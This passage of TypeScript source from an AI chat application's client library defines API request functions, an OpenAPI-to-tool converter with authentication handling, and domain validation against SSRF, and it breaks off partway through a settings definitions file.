variables: m.UpdateRemoteAgentsPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updateRemoteAgentsPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMarketplacePermissions(\n variables: m.UpdateMarketplacePermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMarketplacePermissions(variables.roleName), variables.updates);\n}\n\n/* Tags */\nexport function getConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.get(endpoints.conversationTags());\n}\n\nexport function createConversationTag(\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.post(endpoints.conversationTags(), payload);\n}\n\nexport function updateConversationTag(\n tag: string,\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.put(endpoints.conversationTags(tag), payload);\n}\nexport function deleteConversationTag(tag: string): Promise<t.TConversationTagResponse> {\n return request.delete(endpoints.conversationTags(tag));\n}\n\nexport function addTagToConversation(\n conversationId: string,\n payload: t.TTagConversationRequest,\n): Promise<t.TTagConversationResponse> {\n return request.put(endpoints.addTagToConversation(conversationId), payload);\n}\nexport function rebuildConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.post(endpoints.conversationTags('rebuild'));\n}\n\nexport function healthCheck(): Promise<string> {\n return request.get(endpoints.health());\n}\n\nexport function getUserTerms(): Promise<t.TUserTermsResponse> {\n return request.get(endpoints.userTerms());\n}\n\nexport function acceptTerms(): Promise<t.TAcceptTermsResponse> {\n return request.post(endpoints.acceptUserTerms());\n}\n\nexport function getBanner(): Promise<t.TBannerResponse> {\n return request.get(endpoints.banner());\n}\n\nexport function updateFeedback(\n conversationId: string,\n messageId: string,\n payload: t.TUpdateFeedbackRequest,\n): Promise<t.TUpdateFeedbackResponse> {\n return request.put(endpoints.feedback(conversationId, messageId), payload);\n}\n\n// 2FA\nexport function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {\n return request.post(endpoints.enableTwoFactor(), payload);\n}\n\nexport function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.verifyTwoFactor(), payload);\n}\n\nexport function confirmTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.confirmTwoFactor(), payload);\n}\n\nexport function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDisable2FAResponse> {\n return request.post(endpoints.disableTwoFactor(), payload);\n}\n\nexport function regenerateBackupCodes(\n payload?: t.TRegenerateBackupCodesRequest,\n): Promise<t.TRegenerateBackupCodesResponse> {\n return request.post(endpoints.regenerateBackupCodes(), payload);\n}\n\nexport function verifyTwoFactorTemp(\n payload: t.TVerify2FATempRequest,\n): Promise<t.TVerify2FATempResponse> {\n return request.post(endpoints.verifyTwoFactorTemp(), payload);\n}\n\n/* Memories */\nexport const getMemories = (): Promise<q.MemoriesResponse> => {\n return request.get(endpoints.memories());\n};\n\nexport const deleteMemory = (key: string): Promise<void> => {\n return request.delete(endpoints.memory(key));\n};\n\nexport const updateMemory = (\n key: string,\n value: string,\n originalKey?: string,\n): Promise<q.TUserMemory> => {\n return request.patch(endpoints.memory(originalKey || key), { key, value });\n};\n\nexport const updateMemoryPreferences = (preferences: {\n memories: boolean;\n}): Promise<{ updated: boolean; preferences: { memories: boolean } }> => {\n return request.patch(endpoints.memoryPreferences(), preferences);\n};\n\nexport const createMemory = (data: {\n key: string;\n value: string;\n}): Promise<{ created: boolean; memory: q.TUserMemory }> => {\n return request.post(endpoints.memories(), data);\n};\n\nexport function searchPrincipals(\n params: q.PrincipalSearchParams,\n): Promise<q.PrincipalSearchResponse> {\n return request.get(endpoints.searchPrincipals(params));\n}\n\nexport function getAccessRoles(\n resourceType: permissions.ResourceType,\n): Promise<q.AccessRolesResponse> {\n return request.get(endpoints.getAccessRoles(resourceType));\n}\n\nexport function getResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TGetResourcePermissionsResponse> {\n return request.get(endpoints.getResourcePermissions(resourceType, resourceId));\n}\n\nexport function updateResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n data: permissions.TUpdateResourcePermissionsRequest,\n): Promise<permissions.TUpdateResourcePermissionsResponse> {\n return request.put(endpoints.updateResourcePermissions(resourceType, resourceId), data);\n}\n\nexport function getEffectivePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TEffectivePermissionsResponse> {\n return request.get(endpoints.getEffectivePermissions(resourceType, resourceId));\n}\n\nexport function getAllEffectivePermissions(\n resourceType: permissions.ResourceType,\n): Promise<permissions.TAllEffectivePermissionsResponse> {\n return request.get(endpoints.getAllEffectivePermissions(resourceType));\n}\n\n// SharePoint Graph API Token\nexport function getGraphApiToken(params: q.GraphTokenParams): Promise<q.GraphTokenResponse> {\n return request.get(endpoints.graphToken(params.scopes));\n}\n\nexport function getDomainServerBaseUrl(): string {\n return `${endpoints.apiBaseUrl()}/api`;\n}\n\n/* Active Jobs */\nexport interface ActiveJobsResponse {\n activeJobIds: string[];\n}\n\nexport const getActiveJobs = (): Promise<ActiveJobsResponse> => {\n return request.get(endpoints.activeJobs());\n};\n","import { z } from 'zod';\nimport { URL } from 'url';\nimport _axios from 'axios';\nimport crypto from 'crypto';\nimport { load } from 'js-yaml';\nimport type { ActionMetadata, ActionMetadataRuntime } from './types/agents';\nimport type { FunctionTool, Schema, Reference } from './types/assistants';\nimport { AuthTypeEnum, AuthorizationTypeEnum } from './types/agents';\nimport type { OpenAPIV3 } from 'openapi-types';\nimport { Tools } from './types/assistants';\n\nexport type ParametersSchema = {\n type: string;\n properties: Record<string, Reference | Schema>;\n required: string[];\n additionalProperties?: boolean;\n};\n\nexport type OpenAPISchema = OpenAPIV3.SchemaObject &\n ParametersSchema & {\n items?: OpenAPIV3.ReferenceObject | OpenAPIV3.SchemaObject;\n };\n\nexport type ApiKeyCredentials = {\n api_key: string;\n custom_auth_header?: string;\n authorization_type?: AuthorizationTypeEnum;\n};\n\nexport type OAuthCredentials = {\n tokenUrl: string;\n clientId: string;\n clientSecret: string;\n scope: string;\n};\n\nexport type Credentials = ApiKeyCredentials | OAuthCredentials;\n\ntype MediaTypeObject =\n | undefined\n | {\n [media: string]: OpenAPIV3.MediaTypeObject | undefined;\n };\n\ntype RequestBodyObject = Omit<OpenAPIV3.RequestBodyObject, 'content'> & {\n content: MediaTypeObject;\n};\n\nexport function sha1(input: string) {\n return crypto.createHash('sha1').update(input).digest('hex');\n}\n\nexport function createURL(domain: string, path: string) {\n const cleanDomain = domain.replace(/\\/$/, '');\n const cleanPath = path.replace(/^\\//, '');\n const fullURL = `${cleanDomain}/${cleanPath}`;\n return new URL(fullURL).toString();\n}\n\nconst schemaTypeHandlers: Record<string, (schema: OpenAPISchema) => z.ZodTypeAny> = {\n string: (schema) => {\n if (schema.enum) {\n return z.enum(schema.enum as [string, ...string[]]);\n }\n\n let stringSchema = z.string();\n if (schema.minLength !== undefined) {\n stringSchema = stringSchema.min(schema.minLength);\n }\n if (schema.maxLength !== undefined) {\n stringSchema = stringSchema.max(schema.maxLength);\n }\n return stringSchema;\n },\n number: (schema) => {\n let numberSchema = z.number();\n if (schema.minimum !== undefined) {\n numberSchema = numberSchema.min(schema.minimum);\n }\n if (schema.maximum !== undefined) {\n numberSchema = numberSchema.max(schema.maximum);\n }\n return numberSchema;\n },\n integer: (schema) => (schemaTypeHandlers.number(schema) as z.ZodNumber).int(),\n boolean: () => z.boolean(),\n array: (schema) => {\n if (schema.items) {\n const zodSchema = openAPISchemaToZod(schema.items as OpenAPISchema);\n if (zodSchema) {\n return z.array(zodSchema);\n }\n\n return z.array(z.unknown());\n }\n return z.array(z.unknown());\n },\n object: (schema) => {\n const shape: { [key: string]: z.ZodTypeAny } = {};\n if (schema.properties) {\n Object.entries(schema.properties).forEach(([key, value]) => {\n const zodSchema = openAPISchemaToZod(value as OpenAPISchema);\n shape[key] = zodSchema || z.unknown();\n if (schema.required && schema.required.includes(key)) {\n shape[key] = shape[key].describe(value.description || '');\n } else {\n shape[key] = shape[key].optional().describe(value.description || '');\n }\n });\n }\n return z.object(shape);\n },\n};\n\nfunction openAPISchemaToZod(schema: OpenAPISchema): z.ZodTypeAny | undefined {\n if (schema.type === 'object' && Object.keys(schema.properties || {}).length === 0) {\n return undefined;\n }\n\n const handler = schemaTypeHandlers[schema.type as string] || (() => z.unknown());\n return handler(schema);\n}\n\n/**\n * Class representing a function signature.\n */\nexport class FunctionSignature {\n name: string;\n description: string;\n parameters: ParametersSchema;\n strict: boolean;\n\n constructor(name: string, description: string, parameters: ParametersSchema, strict?: boolean) {\n this.name = name;\n this.description = description;\n this.parameters = parameters;\n this.strict = strict ?? false;\n }\n\n toObjectTool(): FunctionTool {\n const parameters = {\n ...this.parameters,\n additionalProperties: this.strict ? false : undefined,\n };\n\n return {\n type: Tools.function,\n function: {\n name: this.name,\n description: this.description,\n parameters,\n ...(this.strict ? { strict: this.strict } : {}),\n },\n };\n }\n}\n\nclass RequestConfig {\n constructor(\n readonly domain: string,\n readonly basePath: string,\n readonly method: string,\n readonly operation: string,\n readonly isConsequential: boolean,\n readonly contentType: string,\n readonly parameterLocations?: Record<string, 'query' | 'path' | 'header' | 'body'>,\n ) {}\n}\n\nclass RequestExecutor {\n path: string;\n params?: Record<string, unknown>;\n private operationHash?: string;\n private authHeaders: Record<string, string> = {};\n private authToken?: string;\n\n constructor(private config: RequestConfig) {\n this.path = config.basePath;\n }\n\n setParams(params: Record<string, unknown>) {\n this.operationHash = sha1(JSON.stringify(params));\n this.params = { ...params } as Record<string, unknown>;\n if (this.config.parameterLocations) {\n //Substituting “Path” Parameters:\n for (const [key, value] of Object.entries(params)) {\n if (this.config.parameterLocations[key] === 'path') {\n const paramPattern = `{${key}}`;\n if (this.path.includes(paramPattern)) {\n this.path = this.path.replace(paramPattern, encodeURIComponent(String(value)));\n delete this.params[key];\n }\n }\n }\n } else {\n // Fallback: if no locations are defined, perform path substitution for all keys.\n for (const [key, value] of Object.entries(params)) {\n const paramPattern = `{${key}}`;\n if (this.path.includes(paramPattern)) {\n this.path = this.path.replace(paramPattern, encodeURIComponent(String(value)));\n delete this.params[key];\n }\n }\n }\n return this;\n }\n\n async setAuth(metadata: ActionMetadataRuntime) {\n if (!metadata.auth) {\n return this;\n }\n\n const {\n type,\n /* API Key */\n authorization_type,\n custom_auth_header,\n /* OAuth */\n authorization_url,\n client_url,\n scope,\n token_exchange_method,\n } = metadata.auth;\n\n const {\n /* API Key */\n api_key,\n /* OAuth */\n oauth_client_id,\n oauth_client_secret,\n oauth_token_expires_at,\n oauth_access_token = '',\n } = metadata;\n\n const isApiKey = api_key != null && api_key.length > 0 && type === AuthTypeEnum.ServiceHttp;\n const isOAuth = !!(\n oauth_client_id != null &&\n oauth_client_id &&\n oauth_client_secret != null &&\n oauth_client_secret &&\n type === AuthTypeEnum.OAuth &&\n authorization_url != null &&\n authorization_url &&\n client_url != null &&\n client_url &&\n scope != null &&\n scope &&\n token_exchange_method\n );\n\n if (isApiKey && authorization_type === AuthorizationTypeEnum.Basic) {\n const basicToken = Buffer.from(api_key).toString('base64');\n this.authHeaders['Authorization'] = `Basic ${basicToken}`;\n } else if (isApiKey && authorization_type === AuthorizationTypeEnum.Bearer) {\n this.authHeaders['Authorization'] = `Bearer ${api_key}`;\n } else if (\n isApiKey &&\n authorization_type === AuthorizationTypeEnum.Custom &&\n custom_auth_header != null &&\n custom_auth_header\n ) {\n this.authHeaders[custom_auth_header] = api_key;\n } else if (isOAuth) {\n // TODO: maybe doing it in a different way later on. but we want that the user needs to folllow the oauth flow.\n // If we do not have a valid token, bail or ask user to sign in\n const now = new Date();\n\n // 1. Check if token is set\n if (!oauth_access_token) {\n throw new Error('No access token found. Please log in first.');\n }\n\n // 2. Check if token is expired\n if (oauth_token_expires_at && now >= new Date(oauth_token_expires_at)) {\n // Optionally check refresh_token logic, or just prompt user to re-login\n throw new Error('Access token is expired. Please re-login.');\n }\n\n // If valid, use it\n this.authToken = oauth_access_token;\n this.authHeaders['Authorization'] = `Bearer ${this.authToken}`;\n }\n return this;\n }\n\n async execute(options?: { httpAgent?: unknown; httpsAgent?: unknown }) {\n const url = createURL(this.config.domain, this.path);\n const headers: Record<string, string> = {\n ...this.authHeaders,\n ...(this.config.contentType ? { 'Content-Type': this.config.contentType } : {}),\n };\n const method = this.config.method.toLowerCase();\n\n /**\n * SECURITY: Disable automatic redirects to prevent SSRF bypass.\n * Attackers could use redirects to access internal services:\n * 1. Set action URL to allowed external domain\n * 2. External domain redirects to internal service (e.g., 127.0.0.1, rag_api)\n * 3. Without this protection, axios would follow the redirect\n *\n * By setting maxRedirects: 0, we prevent this attack vector.\n * The action will receive the redirect response (3xx) instead of following it.\n *\n * SECURITY: When httpAgent/httpsAgent are provided (SSRF-safe agents), they validate\n * the DNS-resolved IP at TCP connect time, preventing TOCTOU DNS rebinding attacks.\n */\n const axios = _axios.create({\n maxRedirects: 0,\n validateStatus: (status) => status >= 200 && status < 400,\n ...(options?.httpAgent != null ? { httpAgent: options.httpAgent } : {}),\n ...(options?.httpsAgent != null ? { httpsAgent: options.httpsAgent } : {}),\n });\n\n // Initialize separate containers for query and body parameters.\n const queryParams: Record<string, unknown> = {};\n const bodyParams: Record<string, unknown> = {};\n\n if (this.config.parameterLocations && this.params) {\n for (const key of Object.keys(this.params)) {\n // Determine parameter placement; default to \"query\" for GET and \"body\" for others.\n const loc: 'query' | 'path' | 'header' | 'body' =\n this.config.parameterLocations[key] || (method === 'get' ? 'query' : 'body');\n\n const val = this.params[key];\n if (loc === 'query') {\n queryParams[key] = val;\n } else if (loc === 'header') {\n headers[key] = String(val);\n } else if (loc === 'body') {\n bodyParams[key] = val;\n }\n }\n } else if (this.params) {\n Object.assign(queryParams, this.params);\n Object.assign(bodyParams, this.params);\n }\n\n if (method === 'get') {\n return axios.get(url, { headers, params: queryParams });\n } else if (method === 'post') {\n return axios.post(url, bodyParams, { headers, params: queryParams });\n } else if (method === 'put') {\n return axios.put(url, bodyParams, { headers, params: queryParams });\n } else if (method === 'delete') {\n return axios.delete(url, { headers, data: bodyParams, params: queryParams });\n } else if (method === 'patch') {\n return axios.patch(url, bodyParams, { headers, params: queryParams });\n } else {\n throw new Error(`Unsupported HTTP method: ${method}`);\n }\n }\n\n getConfig() {\n return this.config;\n }\n}\n\nexport class ActionRequest {\n private config: RequestConfig;\n\n constructor(\n domain: string,\n path: string,\n method: string,\n operation: string,\n isConsequential: boolean,\n contentType: string,\n parameterLocations?: Record<string, 'query' | 'path' | 'header' | 'body'>,\n ) {\n this.config = new RequestConfig(\n domain,\n path,\n method,\n operation,\n isConsequential,\n contentType,\n parameterLocations,\n );\n }\n\n // Add getters to maintain backward compatibility\n get domain() {\n return this.config.domain;\n }\n get path() {\n return this.config.basePath;\n }\n get method() {\n return this.config.method;\n }\n get operation() {\n return this.config.operation;\n }\n get isConsequential() {\n return this.config.isConsequential;\n }\n get contentType() {\n return this.config.contentType;\n }\n\n createExecutor() {\n return new RequestExecutor(this.config);\n }\n\n // Maintain backward compatibility by delegating to a new executor\n setParams(params: Record<string, unknown>) {\n const executor = this.createExecutor();\n executor.setParams(params);\n return executor;\n }\n\n async setAuth(metadata: ActionMetadata) {\n const executor = this.createExecutor();\n return executor.setAuth(metadata);\n }\n\n async execute() {\n const executor = this.createExecutor();\n return executor.execute();\n }\n}\n\nexport function resolveRef<\n T extends\n | OpenAPIV3.ReferenceObject\n | OpenAPIV3.SchemaObject\n | OpenAPIV3.ParameterObject\n | OpenAPIV3.RequestBodyObject,\n>(obj: T, components?: OpenAPIV3.ComponentsObject): Exclude<T, OpenAPIV3.ReferenceObject> {\n if ('$ref' in obj && components) {\n const refPath = obj.$ref.replace(/^#\\/components\\//, '').split('/');\n\n let resolved: unknown = components as Record<string, unknown>;\n for (const segment of refPath) {\n if (typeof resolved === 'object' && resolved !== null && segment in resolved) {\n resolved = (resolved as Record<string, unknown>)[segment];\n } else {\n throw new Error(`Could not resolve reference: ${obj.$ref}`);\n }\n }\n\n return resolveRef(resolved as typeof obj, components) as Exclude<T, OpenAPIV3.ReferenceObject>;\n }\n\n return obj as Exclude<T, OpenAPIV3.ReferenceObject>;\n}\n\nfunction sanitizeOperationId(input: string) {\n return input.replace(/[^a-zA-Z0-9_-]/g, '');\n}\n\n/**\n * Converts an OpenAPI spec to function signatures and request builders.\n */\nexport function openapiToFunction(\n openapiSpec: OpenAPIV3.Document,\n generateZodSchemas = false,\n): {\n functionSignatures: FunctionSignature[];\n requestBuilders: Record<string, ActionRequest>;\n zodSchemas?: Record<string, z.ZodTypeAny>;\n} {\n const functionSignatures: FunctionSignature[] = [];\n const requestBuilders: Record<string, ActionRequest> = {};\n const zodSchemas: Record<string, z.ZodTypeAny> = {};\n const baseUrl = openapiSpec.servers?.[0]?.url ?? '';\n\n // Iterate over each path and method in the OpenAPI spec\n for (const [path, methods] of Object.entries(openapiSpec.paths)) {\n for (const [method, operation] of Object.entries(methods as OpenAPIV3.PathsObject)) {\n const paramLocations: Record<string, 'query' | 'path' | 'header' | 'body'> = {};\n const operationObj = operation as OpenAPIV3.OperationObject & {\n 'x-openai-isConsequential'?: boolean;\n } & {\n 'x-strict'?: boolean;\n };\n\n // Operation ID is used as the function name\n const defaultOperationId = `${method}_${path}`;\n const operationId = operationObj.operationId || sanitizeOperationId(defaultOperationId);\n const description = operationObj.summary || operationObj.description || '';\n const isStrict = operationObj['x-strict'] ?? false;\n\n const parametersSchema: OpenAPISchema = {\n type: 'object',\n properties: {},\n required: [],\n };\n\n if (operationObj.parameters) {\n for (const param of operationObj.parameters ?? []) {\n const resolvedParam = resolveRef(\n param,\n openapiSpec.components,\n ) as OpenAPIV3.ParameterObject;\n\n const paramName = resolvedParam.name;\n if (!paramName || !resolvedParam.schema) {\n continue;\n }\n\n const paramSchema = resolveRef(\n resolvedParam.schema,\n openapiSpec.components,\n ) as OpenAPIV3.SchemaObject;\n\n parametersSchema.properties[paramName] = paramSchema;\n if (resolvedParam.required) {\n parametersSchema.required.push(paramName);\n }\n // Record the parameter location from the OpenAPI \"in\" field.\n paramLocations[paramName] =\n resolvedParam.in === 'query' ||\n resolvedParam.in === 'path' ||\n resolvedParam.in === 'header' ||\n resolvedParam.in === 'body'\n ? resolvedParam.in\n : 'query';\n }\n }\n\n let contentType = '';\n if (operationObj.requestBody) {\n const requestBody = operationObj.requestBody as RequestBodyObject;\n const content = requestBody.content;\n contentType = Object.keys(content ?? {})[0];\n const schema = content?.[contentType]?.schema;\n const resolvedSchema = resolveRef(\n schema as OpenAPIV3.ReferenceObject | OpenAPIV3.SchemaObject,\n openapiSpec.components,\n );\n parametersSchema.properties = {\n ...parametersSchema.properties,\n ...resolvedSchema.properties,\n };\n if (resolvedSchema.required) {\n parametersSchema.required.push(...resolvedSchema.required);\n }\n // Mark requestBody properties as belonging to the \"body\"\n if (resolvedSchema.properties) {\n for (const key in resolvedSchema.properties) {\n paramLocations[key] = 'body';\n }\n }\n\n contentType = contentType ?? 'application/json';\n }\n\n const functionSignature = new FunctionSignature(\n operationId,\n description,\n parametersSchema,\n isStrict,\n );\n functionSignatures.push(functionSignature);\n\n const actionRequest = new ActionRequest(\n baseUrl,\n path,\n method,\n operationId,\n !!(operationObj['x-openai-isConsequential'] ?? false),\n contentType,\n paramLocations,\n );\n\n requestBuilders[operationId] = actionRequest;\n\n if (generateZodSchemas && Object.keys(parametersSchema.properties).length > 0) {\n const schema = openAPISchemaToZod(parametersSchema);\n if (schema) {\n zodSchemas[operationId] = schema;\n }\n }\n }\n }\n\n return { functionSignatures, requestBuilders, zodSchemas };\n}\n\nexport type ValidationResult = {\n status: boolean;\n message: string;\n spec?: OpenAPIV3.Document;\n serverUrl?: string;\n};\n\n/**\n * Cross-platform IP validation (works in Node.js and browser).\n * @param input - String to check if it's an IP address\n * @returns 0 if not IP, 4 for IPv4, 6 for IPv6\n */\nfunction isIP(input: string): number {\n // IPv4 regex - matches 0.0.0.0 to 255.255.255.255\n const ipv4Regex =\n /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;\n\n if (ipv4Regex.test(input)) {\n return 4;\n }\n\n // IPv6 regex - simplified but covers most cases\n // Handles compressed (::), full, and mixed notations\n const ipv6Regex =\n /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/;\n\n if (ipv6Regex.test(input)) {\n return 6;\n }\n\n return 0;\n}\n\n/**\n * Extracts domain from URL (protocol + hostname).\n * @param url - URL to extract from\n * @returns Protocol and hostname (e.g., \"https://example.com\")\n */\nexport function extractDomainFromUrl(url: string): string {\n try {\n /** Parsed URL object */\n const parsedUrl = new URL(url);\n // Preserve brackets for IPv6 addresses using isIP\n const ipVersion = isIP(parsedUrl.hostname);\n const hostname = ipVersion === 6 ? `[${parsedUrl.hostname}]` : parsedUrl.hostname;\n return `${parsedUrl.protocol}//${hostname}`;\n } catch {\n throw new Error(`Invalid URL format: ${url}`);\n }\n}\n\nexport type DomainValidationResult = {\n isValid: boolean;\n message?: string;\n normalizedSpecDomain?: string;\n normalizedClientDomain?: string;\n};\n\n/**\n * Validates client domain matches OpenAPI spec server URL domain (SSRF prevention).\n * @param clientProvidedDomain - Domain from client (with/without protocol)\n * @param specServerUrl - Server URL from OpenAPI spec\n * @returns Validation result with normalized domains\n */\nexport function validateActionDomain(\n clientProvidedDomain: string,\n specServerUrl: string,\n): DomainValidationResult {\n try {\n /** Parsed spec URL */\n const specUrl = new URL(specServerUrl);\n\n if (specUrl.protocol !== 'http:' && specUrl.protocol !== 'https:') {\n return {\n isValid: false,\n message: `Invalid protocol: Only HTTP and HTTPS are allowed, got ${specUrl.protocol}`,\n };\n }\n\n /** Spec hostname only */\n const specHostname = specUrl.hostname;\n /** Spec domain with protocol (handle IPv6 brackets) */\n const specIpVersion = isIP(specHostname);\n const normalizedSpecDomain =\n specIpVersion === 6\n ? `${specUrl.protocol}//[${specHostname}]`\n : `${specUrl.protocol}//${specHostname}`;\n\n /** Extract hostname from client domain if it's a full URL */\n let clientHostname = clientProvidedDomain;\n let clientHasProtocol = false;\n\n // Check for any protocol in the client domain\n if (clientProvidedDomain.includes('://')) {\n if (\n !clientProvidedDomain.startsWith('http://') &&\n !clientProvidedDomain.startsWith('https://')\n ) {\n return {\n isValid: false,\n message: `Invalid protocol: Only HTTP and HTTPS are allowed in client domain`,\n };\n }\n try {\n const clientUrl = new URL(clientProvidedDomain);\n clientHostname = clientUrl.hostname;\n clientHasProtocol = true;\n } catch {\n // If parsing fails, treat as hostname\n clientHasProtocol = false;\n }\n }\n\n /** Normalize IPv6 addresses by removing brackets for comparison */\n const normalizedClientHostname = clientHostname.replace(/^\\[(.+)\\]$/, '$1');\n const normalizedSpecHostname = specHostname.replace(/^\\[(.+)\\]$/, '$1');\n\n /** Check if hostname is valid IP using cross-platform isIP */\n const isIPAddress = isIP(normalizedClientHostname) !== 0;\n\n /** Normalized client domain */\n let normalizedClientDomain: string;\n if (clientHasProtocol) {\n normalizedClientDomain = extractDomainFromUrl(clientProvidedDomain);\n } else {\n // No protocol specified by client\n if (isIPAddress) {\n // IPs inherit protocol from spec (for legitimate internal services)\n const ipVersion = isIP(normalizedClientHostname);\n const hostname =\n ipVersion === 6 && !clientHostname.startsWith('[')\n ? `[${normalizedClientHostname}]`\n : clientHostname;\n normalizedClientDomain = `${specUrl.protocol}//${hostname}`;\n } else {\n // Domain names default to HTTPS for security (forces explicit protocol)\n normalizedClientDomain = `https://${clientHostname}`;\n }\n }\n\n if (\n normalizedSpecDomain === normalizedClientDomain ||\n (!clientHasProtocol && isIPAddress && normalizedClientHostname === normalizedSpecHostname)\n ) {\n return {\n isValid: true,\n normalizedSpecDomain,\n normalizedClientDomain,\n };\n }\n\n return {\n isValid: false,\n message: `Domain mismatch: Client provided '${clientProvidedDomain}', but spec uses '${specHostname}'`,\n normalizedSpecDomain,\n normalizedClientDomain,\n };\n } catch (error) {\n return {\n isValid: false,\n message: `Failed to validate domain: ${error instanceof Error ? error.message : 'Unknown error'}`,\n };\n }\n}\n\n/**\n * Validates and parses an OpenAPI spec.\n */\nexport function validateAndParseOpenAPISpec(specString: string): ValidationResult {\n try {\n let parsedSpec;\n try {\n parsedSpec = JSON.parse(specString);\n } catch {\n parsedSpec = load(specString);\n }\n\n // Check for servers\n if (\n !parsedSpec.servers ||\n !Array.isArray(parsedSpec.servers) ||\n parsedSpec.servers.length === 0\n ) {\n return { status: false, message: 'Could not find a valid URL in `servers`' };\n }\n\n if (!parsedSpec.servers[0].url) {\n return { status: false, message: 'Could not find a valid URL in `servers`' };\n }\n\n // Check for paths\n const paths = parsedSpec.paths;\n if (!paths || typeof paths !== 'object' || Object.keys(paths).length === 0) {\n return { status: false, message: 'No paths found in the OpenAPI spec.' };\n }\n\n const components = parsedSpec.components?.schemas || {};\n const messages = [];\n\n for (const [path, methods] of Object.entries(paths)) {\n for (const [httpMethod, operation] of Object.entries(methods as OpenAPIV3.PathItemObject)) {\n // Ensure operation is a valid operation object\n const { responses } = operation as OpenAPIV3.OperationObject | { responses: undefined };\n if (typeof operation === 'object' && responses) {\n for (const [statusCode, response] of Object.entries(responses)) {\n const content = (response as OpenAPIV3.ResponseObject).content as MediaTypeObject;\n if (content && content['application/json'] && content['application/json'].schema) {\n const schema = content['application/json'].schema;\n if ('$ref' in schema && typeof schema.$ref === 'string') {\n const refName = schema.$ref.split('/').pop();\n if (refName && !components[refName]) {\n messages.push(\n `In context=('paths', '${path}', '${httpMethod}', '${statusCode}', 'response', 'content', 'application/json', 'schema'), reference to unknown component ${refName}; using empty schema`,\n );\n }\n }\n }\n }\n }\n }\n }\n\n return {\n status: true,\n message: messages.join('\\n') || 'OpenAPI spec is valid.',\n spec: parsedSpec,\n serverUrl: parsedSpec.servers[0].url,\n };\n } catch (error) {\n console.error(error);\n return { status: false, message: 'Error parsing OpenAPI spec.' };\n }\n}\n","import type * as t from './types';\nimport { EndpointURLs } from './config';\nimport * as s from './schemas';\n\nexport default function createPayload(submission: t.TSubmission) {\n const {\n isEdited,\n addedConvo,\n userMessage,\n isContinued,\n isTemporary,\n isRegenerate,\n conversation,\n editedContent,\n ephemeralAgent,\n endpointOption,\n } = submission;\n const { conversationId } = s.tConvoUpdateSchema.parse(conversation);\n const { endpoint: _e, endpointType } = endpointOption as {\n endpoint: s.EModelEndpoint;\n endpointType?: s.EModelEndpoint;\n };\n\n const endpoint = _e as s.EModelEndpoint;\n let server = `${EndpointURLs[s.EModelEndpoint.agents]}/${endpoint}`;\n if (s.isAssistantsEndpoint(endpoint)) {\n server =\n EndpointURLs[(endpointType ?? endpoint) as 'assistants' | 'azureAssistants'] +\n (isEdited ? '/modify' : '');\n }\n\n const payload: t.TPayload = {\n ...userMessage,\n ...endpointOption,\n endpoint,\n addedConvo,\n isTemporary,\n isRegenerate,\n editedContent,\n conversationId,\n isContinued: !!(isEdited && isContinued),\n ephemeralAgent: s.isAssistantsEndpoint(endpoint) ? undefined : ephemeralAgent,\n };\n\n return { server, payload };\n}\n","import {\n Verbosity,\n ImageDetail,\n ThinkingLevel,\n EModelEndpoint,\n openAISettings,\n googleSettings,\n ReasoningEffort,\n AnthropicEffort,\n ReasoningSummary,\n BedrockProviders,\n anthropicSettings,\n} from './types';\nimport { SettingDefinition, SettingsConfiguration } from './generate';\n\n// Base definitions\nconst baseDefinitions: Record<string, SettingDefinition> = {\n model: {\n key: 'model',\n label: 'com_ui_model',\n labelCode: true,\n type: 'string',\n component: 'dropdown',\n optionType: 'model',\n selectPlaceholder: 'com_ui_select_model',\n searchPlaceholder: 'com_ui_select_search_model',\n searchPlaceholderCode: true,\n selectPlaceholderCode: true,\n columnSpan: 4,\n },\n temperature: {\n key: 'temperature',\n label: 'com_endpoint_temperature',\n labelCode: true,\n description: 'com_endpoint_openai_temp',\n descriptionCode: true,\n type: 'number',\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n topP: {\n key: 'topP',\n label: 'com_endpoint_top_p',\n labelCode: true,\n description: 'com_endpoint_anthropic_topp',\n descriptionCode: true,\n type: 'number',\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n stop: {\n key: 'stop',\n label: 